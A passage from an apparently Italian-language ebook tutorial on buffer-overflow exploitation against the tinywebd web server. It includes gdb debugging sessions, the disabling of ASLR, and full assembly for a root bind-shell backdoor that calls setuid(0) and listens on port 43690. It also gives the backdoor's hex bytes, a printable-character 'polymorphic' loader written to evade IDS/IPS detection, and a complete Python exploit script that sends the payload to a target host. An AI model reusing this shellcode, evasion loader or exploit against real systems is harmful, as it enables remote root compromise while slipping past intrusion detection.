0xbfc05604: 0xbfc05628 0x00000003 0xbfc05648 0x00000004
0xbfc05614: 0x0804aff4 0xbfc05628 0x08048870 0x002b00c0
(gdb) x/x 0xbfc055f4+8
0xbfc055fc: 0x0804908b
Come vede si trova davvero pochi byte dopo il buffer.
Ora arrestiamo il server e disabilitiamo l'ASLR del kernel, come ho già detto questo attacco non
funziona più su sistemi moderni.
root@Moon:~# killall tinywebd
root@Moon:~# echo 0 > /proc/sys/kernel/randomize_va_space
Riavviamo e rifacendo le operazioni viste prima, riportiamoci su accept(). A questo punto
inviamo quel tanto che basta a sovrascrivere l'indirizzo di ritorno, dovremmo vedere il server
che cresha...
(gdb) n
0x41414141 in ?? ()
(gdb) i r
eax 0xffffffff -1
ecx 0xffffffc8 -56
edx 0x9 9
ebx 0x41414141 1094795585
esp 0xbffff3c0 0xbffff3c0
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 111 di 193
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Infatti è così. EIP contiene 0x41, la codifica di 'A'.
L'analisi del server e della sua vulnerabilità è conclusa, ci basta prendere nota dell'indirizzo
di request che, con ASLR disabilitato, si troverà sempre alla stessa locazione.
A questo punto dobbiamo venire al nostro problema, ovvero dobbiamo trovare un modo per bypassare
i controlli fatti dall'IDS.
Per attaccare il server ho deciso di scrivermi una shellcode con la "s" maiuscola. Voglio che
questa sia anche riutilizzabile più volte. Quindi ho aggiunto a ciò che abbiamo visto nei
capitoli precedenti due nuove funzionalità per la backdoor. La prima è l'uso di fork() per
accettare connessioni multiple. La backdoor si comporterà quindi come la maggior parte dei
servizi di rete standard, quando mi connetterò, il processo principale eseguirà una fork() di se
stesso rimanendo in attesa di nuove connessioni mentre quella arrivata verrà gestita dal nuovo
processo creato. Inoltre, una delle prime cose che il codice farà è eseguire la syscall
setuid(). Questa serve per impostare i permessi di root sul processo nel caso in cui il server
abbia preventivamente abbassato i suoi stessi privilegi per auto proteggersi, se avete studiato
il discorso degli user id reali, effettivi e salvati, sapete benissimo che cosa intendo.
La seguente è la backdoor che eseguiremo:
---------- backdoor.S --------------------
/* This is a reusable backdoor,
*
* Author: Matteo Tosato - 2010
* Note: Do not use this code to destroy systems, hacking is a way of thinking,
* is not a crime.
*
* The follows code, forks and spawn a root shell listening on port 43690,
* if target program adjust
* his privileges, setuid() call readjust root permissions on process.
* The code is all without null bytes.
* NORMAL ASSEMBLY CODE OF BACKDOOR
*
* CAUTION! The following code can be easily detected by IDS or IPS systems
*
*/
.text
.globl main
main:
// fork()
xorl %ebx, %ebx
xorl %eax, %eax
movb $2, %al // fork int
int $0x80 // INTERRUPT
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 112 di 193
cmpl %eax, %ebx
jne L_EXIT
// sock = socket(PF_INET(2),SOCK_STREAM(1),IPPROTO_TCP(6))
xorl %ecx, %ecx
movb $6, %cl
pushl %ecx // IPPROTO_TCP
xorl %ecx, %ecx
movb $1, %cl
pushl %ecx // SOCK_STREAM
xorl %ecx, %ecx
movb $2, %cl
pushl %ecx // PF_INET
movl %esp, %ecx // arguments pointer
movb $1, %bl // socket call
movb $102, %al // SYS_socketcall
int $0x80 // INTERRUPT
// socket in ecx,
movl %eax, %ecx
// bind(sd, (struct sockaddr*)&srv, 0x10)
xorl %ebx, %ebx
// struct sockaddr_in {
pushl %ebx // char sin_zero[8]
pushl %ebx // struct in_addr sin_addr
pushl %ebx //
pushw $43690 // unsigend short sin_port
movb $2, %bl //
pushw %bx // short sin_family }
movl %esp, %edx // sockaddr_in pointer
movb $16, %bl
pushl %ebx // sizeof(struct sockaddr)
pushl %edx // sockaddr_in pointer
pushl %ecx // socket
movl %ecx, %edx // copy of socket
movl %esp, %ecx // pointer to arguments
movb $2, %bl // bind call
movb $102, %al // SYS_socketcall
int $0x80 // INTERRUPT
xorl %ebx, %ebx
cmpl %eax, %ebx
je L_SKIPEXIT // if bind success continue, else exit
L_EXIT:
// exit(0)
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 113 di 193
xorl %eax, %eax
inc %al // exit call
int $0x80 // INTERRUPT
L_SKIPEXIT:
// listen(sd, 1)
xorl %ecx, %ecx
xorl %ebx, %ebx
inc %cl
pushl %ecx // queue max value
pushl %edx // socket
movl %esp, %ecx // pointer to arguments
movb $4, %bl // listen call
movb $102, %al // SYS_socketcall
int $0x80 // INTERRUPT
// signal(SIGCHLD,1)
xorl %ecx, %ecx
xorl %eax, %eax
xorl %ebx, %ebx
movb $1, %cl // handler
movb $17, %bl // SIGCHLD
movb $48, %al // signal call
int $0x80 // INTERRUPT
// setuid(0);
xorl %eax, %eax
xorl %ebx, %ebx // root uid
movb $23, %al // setuid call
int $0x80 // INTERRUPT
L_WHILE:
// csock = accept(sock,(struct sockaddr*)&srv, &socksize)
// accept(sock,0,0)
xorl %eax, %eax
xorl %ebx, %ebx
pushl %eax // socketsize pointer, 0
pushl %eax // struct sockaddr pointer, 0
pushl %edx // socket
movl %esp, %ecx // arguments pointer
movb $5, %bl // accept call
movb $102, %al // SYS_socketcall
int $0x80 // INTERRUPT
movl %eax, %esi // new socket
// fork()
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 114 di 193
xorl %eax, %eax
xorl %ebx, %ebx
movb $2, %al // fork call
int $0x80 // INTERRUPT
cmpl %eax, %ebx
jne L_CLOSENEWSOCK // father continue and close new socket
// close(sock)
xorl %eax, %eax
movl %edx, %ebx // socket
movb $6, %al // close call
int $0x80 // INTERRUPT
// Close all communication channels --> Unix deamon
// dup2(csock,0)
xorl %ecx, %ecx
xorl %ebx, %ebx
xorl %eax, %eax
movb %cl, %cl // stdin
movl %esi, %ebx // new socket
movb $63, %al // dup2 call
int $0x80 // INTERRUPT
xorl %eax, %eax
incl %ecx // stdin
movb $63, %al // dup2 call
int $0x80 // INTERRUPT
xorl %eax, %eax
incl %ecx // stderr
movb $63, %al // dup2 call
int $0x80 // INTERRUPT
// And then we are coming!! )
// execve(/bin/sh,[/bin/sh],NULL)
xorl %eax, %eax
pushl %eax // NULL
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
movl 8(%esp), %edx // [/bin/sh]
pushl %eax
pushl %ebx // /bin/sh
movl %esp, %ecx // arguments pointer
movb $11, %al // SYS_execve
int $0x80 // INTERRUPT
// exit(0)
xorl %ebx, %ebx // exit value 0
xorl %eax, %eax
incl %eax // exit call
int $0x80 // INTERRUPT
L_CLOSENEWSOCK:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 115 di 193
xorl %eax, %eax
movl %esi, %ebx // new socket
movb $6, %al // close call
int $0x80 // INTERRUPT
jmp L_WHILE
---------- backdoor.S END ----------------
Se noi trasmettiamo in chiaro i codici esadecimali di questa backdoor verremo subito
intercettati da un sistema IDS.
Il trucco sta nello spedire il codice non nella sua vera forma. Seguitemi in questo
ragionamento; Per evitare che l'IDS ci ritenga codice sospetto sarà sufficiente inviare solo
caratteri stampabili, questi infatti non possono essere scambiati per codice dannoso perchè sono
quelli di norma presenti nelle pagine web. Questi byte vanno da 0x20 a 0x7f e basta. Non
possiamo usare byte diversi. Di conseguenza le istruzioni che possiamo utilizzare non sono
sufficienti per eseguire il codice. Alcune di quelle utilizzabili sono "and reg, value", "push
reg", "pop reg", "sub reg, value", "inc reg", "dec reg" perchè si traducono appunto in byte
stampabili. L'idea stà nel comporre un codice loader che creerà ed eseguirà la shellcode
composto solo da queste istruzioni. Questo è possibile farlo. Pensiamo alla sequenza di byte
della shellcode e di come sarebbe posizionato in memoria il codice al momento dell'esecuzione
dell'istruzione ret.
Questi sono i codici esadecimali della shellcode backdoor.S:
31 db 31 c0 b0 02 cd 80 39 c3 75 3d 31 c9 b1 06 51 31 c9 b1 01 51 31 c9 b1 02 51 89 e1 b3 01 b0
66 cd 80 89 c1 31 db 53 53 53 66 68 aa aa b3 02 66 53 89 e2 b3 10 53 52 51 89 ca 89 e1 b3 02 b0
66 cd 80 31 db 39 c3 74 06 31 c0 fe c0 cd 80 31 c9 31 db fe c1 51 52 89 e1 b3 04 b0 66 cd 80 31
c9 31 c0 31 db b1 01 b3 11 b0 30 cd 80 31 c0 31 db b0 17 cd 80 31 c0 31 db 50 50 52 89 e1 b3 05
b0 66 cd 80 89 c6 31 c0 31 db b0 02 cd 80 39 c3 75 46 31 c0 89 d3 b0 06 cd 80 31 c9 31 db 31 c0
88 c9 89 f3 b0 3f cd 80 31 c0 41 b0 3f cd 80 31 c0 41 b0 3f cd 80 31 c0 50 68 2f 2f 73 68 68 2f
62 69 6e 89 e3 8b 54 24 08 50 53 89 e1 b0 0b cd 80 31 db 31 c0 40 cd 80 31 c0 89 f3 b0 06 cd 80
eb 93
_________
EIP | | low addresses
| loader |
| |
| |
| |
| |
|_________|
ESP high addresses
Potremmo benissimo avere una situazione del genere. Anzi se andate and indagare nel programma
tinywebd, vi troverete proprio in questa situazione. Il loader allora eseguirà le seguenti
operazioni:
- Si preoccuperà di spostare ESP ad indirizzi più alti in memoria per far posto allo shellcode
che andrà a formarsi.
- Con le istruzioni sub calcola i byte dello shellcode partendo dal fondo e posizionerà queste
nello stack con l'istruzione push.
- Così facendo ESP verrà decrementato ad ogni nuova WORD impilata sullo stack, alla fine
succederà che EIP ed ESP si incontreranno e la shellcode appena creata potrà essere eseguita,
una certa tolleranza di errore può sempre essere gestita attraverso sequenza NOP impilate anche
esse.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 116 di 193
_________
| | |
| loader | |
| | |
| | V
| |
EIP | | low addresses
ESP |_________| high addresses
| |
| NOP | ^
|_________| |
| | |
| | |
| CODE | |
| | |
|_________| |
Attraverso l'istruzione sub è possibile calcolare quasi qualsiasi valore WORD. Ad esempio se EAX
contiene 0, sfruttando l'overflow possiamo calcolare il valore 0x93eb80cd in questo modo:
sub $0x7a593459, %eax
sub $0x7a592565, %eax
sub $0x77622575, %eax
Il valore calcolato corrisponde alle ultime istruzioni dello shellcode, procedendo così è
possibile costruire lo shellcode a runtime. Questa tecnica è geniale e molto efficace.
La seguente è la shellcode detta "polimorfica":
--------- polymorfic_shellcode.S -----------
// Polymorfic version; It's able to evade IDS/IPS systems - Matteo Tosato 2010
/* I take a good offset from the loader...
* Backdoor code is 226 bytes, In the vulnerability, EIP is at -1048 bytes from ESP when exploit
* is executed: */
// Begin loader code:
.text
.globl main
main:
push %esp // Push ESP on stack
pop %eax // Now ESP is in EAX register
// Move ESP back on the stack
// -> Add 207 bytes <- with printable character
// EAX, 0xbffff3b0 -> 0xbffffa0c:
sub $0x4a4a4a4a, %eax
sub $0x4a4a4a73, %eax
sub $0x6b6b6a74, %eax
// Now, EAX store: ESP + 207
// Restore ESP to new value, now ESP - EIP = 1255 [974 loader + nop + shellcode + ret]
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 117 di 193
push %eax
pop %esp
// Place EAX to 0
and $0x454e4f4a, %eax
and $0x3a313035, %eax
// Now, build the real chellcode via printable value!
// cd 80 eb 93 -> 0x93eb80cd
sub $0x7a593459, %eax
sub $0x7a592565, %eax
sub $0x77622575, %eax
push %eax
// 89 f3 b0 06 -> 0x06b0f389
sub $0x31553155, %eax
sub $0x256d2575, %eax
sub $0x3678367a, %eax
push %eax
and $0x454e4f4a, %eax
and $0x3a313035, %eax
// cd 80 31 c0 -> 0xc03180cd
sub $0x7a6b347a, %eax
sub $0x7a30256b, %eax
sub $0x4b33254e, %eax
push %eax
and $0x454e4f4a, %eax
and $0x3a313035, %eax
// db 31 c0 40 -> 0x40c031db
sub $0x4c4c4c4c, %eax
sub $0x2d7a4c64, %eax
sub $0x45793575, %eax
push %eax
// 0b cd 80 31 -> 0x3180cd0b
sub $0x6c6c726c, %eax
sub $0x6c6c782d, %eax
sub $0x36667a37, %eax
push %eax
// 53 89 e1 b0 -> 0xb0e18953
sub $0x36456763, %eax
sub $0x25346730, %eax
sub $0x25257525, %eax
push %eax
// 54 24 08 50 -> 0x50082454
sub $0x74747474, %eax
sub $0x74347635, %eax
sub $0x78307a56, %eax
push %eax
// 6e 89 e3 8b -> 0x8be3896e
sub $0x48764876, %eax
sub $0x4876254b, %eax
sub $0x33382d25, %eax
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 118 di 193
push %eax
// 68 2f 62 69 -> 0x69622f68
sub $0x49367449, %eax
sub $0x5f257449, %eax
sub $0x7a257174, %eax
push %eax
// 2f 2f 73 68 -> 0x68732f2f
sub $0x56565656, %eax
sub $0x5656566e, %eax
sub $0x54425375, %eax
push %eax
// 31 c0 50 68 -> 0x6850c031
sub $0x68687a68, %eax
sub $0x63687a63, %eax
sub $0x34517a33, %eax
push %eax
// b0 3f cd 80 -> 0x80cd3fb0
sub $0x784e4e4e, %eax
sub $0x6f353233, %eax
push %eax
// 80 31 c0 41 -> 0x41c03180
sub $0x58585858, %eax
sub $0x6e50506e, %eax
sub $0x7864656a, %eax
push %eax
and $0x454e4f4a, %eax
and $0x3a313035, %eax
// 41 b0 3f cd -> 0xcd3fb041
sub $0x55556155, %eax
sub $0x78357835, %eax
sub $0x65357635, %eax
push %eax
and $0x454e4f4a, %eax
and $0x3a313035, %eax
// cd 80 31 c0 -> 0xc03180cd
sub $0x5a413441, %eax
sub $0x7041257a, %eax
sub $0x754c2578, %eax
push %eax
// 89 f3 b0 3f -> 0x3fb0f389
sub $0x25252574, %eax
sub $0x2525256a, %eax
sub $0x36364266, %eax
push %eax
and $0x454e4f4a, %eax
// 31 c0 88 c9 -> 0xc988c031
sub $0x67252567, %eax
sub $0x6725254b, %eax
sub $0x6d2d3825, %eax
push %eax
// 31 c9 31 db -> 0xdb31c931
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 119 di 193
sub $0x5f775f5f, %eax
sub $0x48775f5f, %eax
sub $0x46683842, %eax
push %eax
// b0 06 cd 80 -> 0x80cd06b0
sub $0x2d30714e, %eax
sub $0x2d345133, %eax
push %eax
// 31 c0 89 d3 -> 0xd389c031
sub $0x42626235, %eax
sub $0x316e6e25, %eax
sub $0x39727625, %eax
push %eax
// 39 c3 75 46 -> 0x4675c339
sub $0x42747474, %eax
sub $0x256b4242, %eax
sub $0x25344642, %eax
push %eax
// b0 02 cd 80 -> 0x80cd02b0
sub $0x62396b39, %eax
sub $0x636f5550, %eax
push %eax
// 31 c0 31 db -> 0xdb31c031
sub $0x2d2d662d, %eax
sub $0x2d38662d, %eax
sub $0x4b357625, %eax
push %eax
// cd 80 89 c6 -> 0xc68980cd
sub $0x25255974, %eax
sub $0x752d7477, %eax
sub $0x7a557179, %eax
push %eax
// b3 05 b0 66 -> 0x66b005b3
sub $0x78553055, %eax
sub $0x78422555, %eax
sub $0x6f422570, %eax
push %eax
// 50 52 89 e1 -> 0xe1895250
sub $0x25555578, %eax
sub $0x2d782578, %eax
sub $0x32593873, %eax
push %eax
// c0 31 db 50 -> 0x50db31c0
sub $0x36446a36, %eax
sub $0x35446a35, %eax
sub $0x25254c25, %eax
push %eax
// 17 cd 80 31 -> 0x3180cd17
sub $0x50757550, %eax
sub $0x75757534, %eax
sub $0x596f7a25, %eax
push %eax
// c0 31 db b0 -> 0xb0db31c0
sub $0x33333332, %eax
sub $0x4d726825, %eax
push %eax
// 30 cd 80 31 -> 0x3180cd30
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 120 di 193
sub $0x342d345f, %eax
sub $0x4b2d3031, %eax
push %eax
// 01 b3 11 b0 -> 0xb011b301
sub $0x367a4e4e, %eax
sub $0x257a6c6c, %eax
sub $0x257a5f75, %eax
push %eax
// c0 31 db b1 -> 0xb1db31c0
sub $0x32543654, %eax
sub $0x546f2575, %eax
sub $0x77732578, %eax
push %eax
// 80 31 c9 31 -> 0x31c93180
sub $0x35535353, %eax
sub $0x25535379, %eax
sub $0x256b5974, %eax
push %eax
// 04 b0 66 cd -> 0xcd66b004
sub $0x31354a4a, %eax
sub $0x332d3732, %eax
push %eax
// 52 89 e1 b3 -> 0xb3e18952
sub $0x39323939, %eax
sub $0x6e257a38, %eax
sub $0x722d7341, %eax
push %eax
// db fe c1 51 -> 0x51c1fedb
sub $0x6d33332d, %eax
sub $0x7a792525, %eax
sub $0x7a733225, %eax
push %eax
// 80 31 c9 31 -> 0x31c93180
sub $0x4a4a4a76, %eax
sub $0x5f4a4a76, %eax
sub $0x7664386f, %eax
push %eax
// c0 fe c0 cd -> 0xcdc0fec0
sub $0x71666666, %eax
sub $0x79506635, %eax
sub $0x79516625, %eax
push %eax
// c3 74 06 31 -> 0x310674c3
sub $0x32323232, %eax
sub $0x32323269, %eax
sub $0x38562562, %eax
push %eax
// 80 31 db 39 -> 0x39db3180
sub $0x4e4e4e59, %eax
sub $0x4e6f7a76, %eax
sub $0x5a6d7a74, %eax
push %eax
// 02 b0 66 cd -> 0xcd66b002
sub $0x47473547, %eax
sub $0x252d4c37, %eax
push %eax
// ca 89 e1 b3 -> 0xb3e189ca
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 121 di 193
sub $0x5a325a5a, %eax
sub $0x5a2d5a6c, %eax
sub $0x65257172, %eax
push %eax
// 53 52 51 89 -> 0x89515253
sub $0x4c374c25, %eax
sub $0x64257625, %eax
sub $0x7a33752d, %eax
push %eax
// 89 e2 b3 10 -> 0x10b3e289
sub $0x366d365a, %eax
sub $0x42303970, %eax
push %eax
// b3 02 66 53 -> 0x536602b3
sub $0x30733030, %eax
sub $0x46734630, %eax
sub $0x46676976, %eax
push %eax
// 66 68 aa aa -> 0xaaaa6866
sub $0x42424279, %eax
sub $0x30423262, %eax
sub $0x36372572, %eax
push %eax
// db 53 53 53 -> 0x535353db
sub $0x7a7a5f25, %eax
sub $0x7a7a5f25, %eax
sub $0x62625641, %eax
push %eax
// 80 89 c1 31 -> 0x31c18980
sub $0x4c354c68, %eax
sub $0x68254c79, %eax
sub $0x6d37317a, %eax
push %eax
// 01 b0 66 cd -> 0xcd66b001
sub $0x2d2d7852, %eax
sub $0x372d612d, %eax
push %eax
// 51 89 e1 b3 -> 0xb3e18951
sub $0x64256457, %eax
sub $0x642d6125, %eax
sub $0x51326134, %eax
push %eax
// 31 c9 b1 02 -> 0x02b1c931
sub $0x31643131, %eax
sub $0x3164617a, %eax
sub $0x4e672d75, %eax
push %eax
// c9 b1 01 51 -> 0x5101b1c9
sub $0x49494974, %eax
sub $0x3030737a, %eax
sub $0x38365a7a, %eax
push %eax
// b1 06 51 31 -> 0x315106b1
sub $0x31313131, %eax
sub $0x78313178, %eax
sub $0x764e486f, %eax
push %eax
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 122 di 193
// 75 3d 31 c9 -> 0xc9313d75
sub $0x76717171, %eax
sub $0x78763271, %eax
sub $0x7938255a, %eax
push %eax
// cd 80 39 c3 -> 0xc33980cd
sub $0x63636356, %eax
sub $0x56633425, %eax
sub $0x4c31252d, %eax
push %eax
// 31 c0 b0 02 -> 0x02b0c031
sub $0x52385238, %eax
sub $0x6e506e64, %eax
push %eax
// 31 db -> 0xdb319090
sub $0x68346849, %eax
sub $0x68256825, %eax
sub $0x57255f33, %eax
push %eax
// 90 90 90 90 -> 0x90909090
sub $0x5f313131, %eax
sub $0x78365f5f, %eax
sub $0x73396f70, %eax
// Add a nop sled
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
push %eax
// Ok, loader has done...
// EIP reached ESP, shellcode will execute.
--------- polymorfic_shellcode.S END --------
Come solito vengono ricavati i byte ed utilizzati in uno script di attacco. Il numero dei byte è
cresciuto parecchio, ma abbiamo tutto lo spazio a disposizione senza problemi. Nello script non
possiamo però utilizzare una sequenza di NOP per creare uno sled, perchè metterebbe in allarme
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 123 di 193
l'IDS. Possiamo però eseguire dell'altro, ad esempio una istruzione come inc o dec su registro
avrebbe lo stesso effetto di un NOP sled.
Ecco quindi come io costruisco il mio script di exploit con python:
--------- exploit.py ------------------------
__author__="Matteo Tosato"
__date__ ="$8-ott-2010 02.30.22$"
import socket
import sys
if sys.argv[1] == "--help" or sys.argv[1] == "-h":
print "Exploit with polymorfic shellcode, (all character are printable)"
print "for tinywebd deamon on Ubuntu"
print __author__
print __date__
print "Arguments: <HOST> <PORT>"
else:
RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
RET = "\xaa\xef\xff\xbf" # address: 0xbfffefaa
PADDING = "\x4a"
# Pad 16 bytes
BUFFER = PADDING * 16
# Shellcode (polymorfic) 974+2 bytes
PAYLOAD = "\x54\x58\x2d\x4a\x4a\x4a\x4a\x2d\x73\x4a\x4a\x4a\x2d\x74\x6a\x6b"\
"\x6b\x50\x5c\x25\x4a\x4f\x4e\x45\x25\x35\x30\x31\x3a\x2d\x59\x34"\
"\x59\x7a\x2d\x65\x25\x59\x7a\x2d\x75\x25\x62\x77\x50\x2d\x55\x31"\
"\x55\x31\x2d\x75\x25\x6d\x25\x2d\x7a\x36\x78\x36\x50\x25\x4a\x4f"\
"\x4e\x45\x25\x35\x30\x31\x3a\x2d\x7a\x34\x6b\x7a\x2d\x6b\x25\x30"\
"\x7a\x2d\x4e\x25\x33\x4b\x50\x25\x4a\x4f\x4e\x45\x25\x35\x30\x31"\
"\x3a\x2d\x4c\x4c\x4c\x4c\x2d\x64\x4c\x7a\x2d\x2d\x75\x35\x79\x45"\
"\x50\x2d\x6c\x72\x6c\x6c\x2d\x2d\x78\x6c\x6c\x2d\x37\x7a\x66\x36"\
"\x50\x2d\x63\x67\x45\x36\x2d\x30\x67\x34\x25\x2d\x25\x75\x25\x25"\
"\x50\x2d\x74\x74\x74\x74\x2d\x35\x76\x34\x74\x2d\x56\x7a\x30\x78"\
"\x50\x2d\x76\x48\x76\x48\x2d\x4b\x25\x76\x48\x2d\x25\x2d\x38\x33"\
"\x50\x2d\x49\x74\x36\x49\x2d\x49\x74\x25\x5f\x2d\x74\x71\x25\x7a"\
"\x50\x2d\x56\x56\x56\x56\x2d\x6e\x56\x56\x56\x2d\x75\x53\x42\x54"\
"\x50\x2d\x68\x7a\x68\x68\x2d\x63\x7a\x68\x63\x2d\x33\x7a\x51\x34"\
"\x50\x2d\x4e\x4e\x4e\x78\x2d\x33\x32\x35\x6f\x50\x2d\x58\x58\x58"\
"\x58\x2d\x6e\x50\x50\x6e\x2d\x6a\x65\x64\x78\x50\x25\x4a\x4f\x4e"\
"\x45\x25\x35\x30\x31\x3a\x2d\x55\x61\x55\x55\x2d\x35\x78\x35\x78"\
"\x2d\x35\x76\x35\x65\x50\x25\x4a\x4f\x4e\x45\x25\x35\x30\x31\x3a"\
"\x2d\x41\x34\x41\x5a\x2d\x7a\x25\x41\x70\x2d\x78\x25\x4c\x75\x50"\
"\x2d\x74\x25\x25\x25\x2d\x6a\x25\x25\x25\x2d\x66\x42\x36\x36\x50"\
"\x25\x4a\x4f\x4e\x45\x2d\x67\x25\x25\x67\x2d\x4b\x25\x25\x67\x2d"\
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 124 di 193
"\x25\x38\x2d\x6d\x50\x2d\x5f\x5f\x77\x5f\x2d\x5f\x5f\x77\x48\x2d"\
"\x42\x38\x68\x46\x50\x2d\x4e\x71\x30\x2d\x2d\x33\x51\x34\x2d\x50"\
"\x2d\x35\x62\x62\x42\x2d\x25\x6e\x6e\x31\x2d\x25\x76\x72\x39\x50"\
"\x2d\x74\x74\x74\x42\x2d\x42\x42\x6b\x25\x2d\x42\x46\x34\x25\x50"\
"\x2d\x39\x6b\x39\x62\x2d\x50\x55\x6f\x63\x50\x2d\x2d\x66\x2d\x2d"\
"\x2d\x2d\x66\x38\x2d\x2d\x25\x76\x35\x4b\x50\x2d\x74\x59\x25\x25"\
"\x2d\x77\x74\x2d\x75\x2d\x79\x71\x55\x7a\x50\x2d\x55\x30\x55\x78"\
"\x2d\x55\x25\x42\x78\x2d\x70\x25\x42\x6f\x50\x2d\x78\x55\x55\x25"\
"\x2d\x78\x25\x78\x2d\x2d\x73\x38\x59\x32\x50\x2d\x36\x6a\x44\x36"\
"\x2d\x35\x6a\x44\x35\x2d\x25\x4c\x25\x25\x50\x2d\x50\x75\x75\x50"\
"\x2d\x34\x75\x75\x75\x2d\x25\x7a\x6f\x59\x50\x2d\x32\x33\x33\x33"\
"\x2d\x25\x68\x72\x4d\x50\x2d\x5f\x34\x2d\x34\x2d\x31\x30\x2d\x4b"\
"\x50\x2d\x4e\x4e\x7a\x36\x2d\x6c\x6c\x7a\x25\x2d\x75\x5f\x7a\x25"\
"\x50\x2d\x54\x36\x54\x32\x2d\x75\x25\x6f\x54\x2d\x78\x25\x73\x77"\
"\x50\x2d\x53\x53\x53\x35\x2d\x79\x53\x53\x25\x2d\x74\x59\x6b\x25"\
"\x50\x2d\x4a\x4a\x35\x31\x2d\x32\x37\x2d\x33\x50\x2d\x39\x39\x32"\
"\x39\x2d\x38\x7a\x25\x6e\x2d\x41\x73\x2d\x72\x50\x2d\x2d\x33\x33"\
"\x6d\x2d\x25\x25\x79\x7a\x2d\x25\x32\x73\x7a\x50\x2d\x76\x4a\x4a"\
"\x4a\x2d\x76\x4a\x4a\x5f\x2d\x6f\x38\x64\x76\x50\x2d\x66\x66\x66"\
"\x71\x2d\x35\x66\x50\x79\x2d\x25\x66\x51\x79\x50\x2d\x32\x32\x32"\
"\x32\x2d\x69\x32\x32\x32\x2d\x62\x25\x56\x38\x50\x2d\x59\x4e\x4e"\
"\x4e\x2d\x76\x7a\x6f\x4e\x2d\x74\x7a\x6d\x5a\x50\x2d\x47\x35\x47"\
"\x47\x2d\x37\x4c\x2d\x25\x50\x2d\x5a\x5a\x32\x5a\x2d\x6c\x5a\x2d"\
"\x5a\x2d\x72\x71\x25\x65\x50\x2d\x25\x4c\x37\x4c\x2d\x25\x76\x25"\
"\x64\x2d\x2d\x75\x33\x7a\x50\x2d\x5a\x36\x6d\x36\x2d\x70\x39\x30"\
"\x42\x50\x2d\x30\x30\x73\x30\x2d\x30\x46\x73\x46\x2d\x76\x69\x67"\
"\x46\x50\x2d\x79\x42\x42\x42\x2d\x62\x32\x42\x30\x2d\x72\x25\x37"\
"\x36\x50\x2d\x25\x5f\x7a\x7a\x2d\x25\x5f\x7a\x7a\x2d\x41\x56\x62"\
"\x62\x50\x2d\x68\x4c\x35\x4c\x2d\x79\x4c\x25\x68\x2d\x7a\x31\x37"\
"\x6d\x50\x2d\x52\x78\x2d\x2d\x2d\x2d\x61\x2d\x37\x50\x2d\x57\x64"\
"\x25\x64\x2d\x25\x61\x2d\x64\x2d\x34\x61\x32\x51\x50\x2d\x31\x31"\
"\x64\x31\x2d\x7a\x61\x64\x31\x2d\x75\x2d\x67\x4e\x50\x2d\x74\x49"\
"\x49\x49\x2d\x7a\x73\x30\x30\x2d\x7a\x5a\x36\x38\x50\x2d\x31\x31"\
"\x31\x31\x2d\x78\x31\x31\x78\x2d\x6f\x48\x4e\x76\x50\x2d\x71\x71"\
"\x71\x76\x2d\x71\x32\x76\x78\x2d\x5a\x25\x38\x79\x50\x2d\x56\x63"\
"\x63\x63\x2d\x25\x34\x63\x56\x2d\x2d\x25\x31\x4c\x50\x2d\x38\x52"\
"\x38\x52\x2d\x64\x6e\x50\x6e\x50\x2d\x49\x68\x34\x68\x2d\x25\x68"\
"\x25\x68\x2d\x33\x5f\x25\x57\x50\x2d\x31\x31\x31\x5f\x2d\x5f\x5f"\
"\x36\x78\x2d\x70\x6f\x39\x73\x50\x50\x50\x50\x50\x50\x50\x50\x50"\
"\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50"\
"\x4a\x4a"
BUFFER = BUFFER + PAYLOAD
# RET 100 bytes
BUFFER = BUFFER + RET*(100/4)
# BUFFER TOTAL SIZE: 1092 bytes
print "Exploit with polymorfic shellcode, (all character are printable)"
print "for tinywebd deamon on Ubuntu"
print __author__
print __date__
print "Payload: (974 bytes)"
print PAYLOAD
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 125 di 193
s.connect((RHOST, RPORT))
s.send(BUFFER)
print "Done!"
--------- exploit.py END ---------------------
Eseguiamo tinywebd e ci agganciamo con gdb, poi eseguiamo lo script e torniamo a vedere che
succede al server web.
Esecuzione di exploit.py:
Exploit with polymorfic shellcode, (all character are printable)
for tinywebd deamon on Ubuntu
Matteo Tosato
$8-ott-2010 02.30.22$
Payload: (974 bytes)
TX-JJJJ-sJJJ-tjkkP\%JONE%501:-Y4Yz-e%Yz-u%bwP-U1U1-u%m%-z6x6P%JONE%501:-z4kz-k%0z-
N%3KP%JONE%501:-LLLL-dLz--u5yEP-lrll--xll-7zf6P-cgE6-0g4%-%u%%P-tttt-5v4t-Vz0xP-vHvH-K%vH-%-83P-
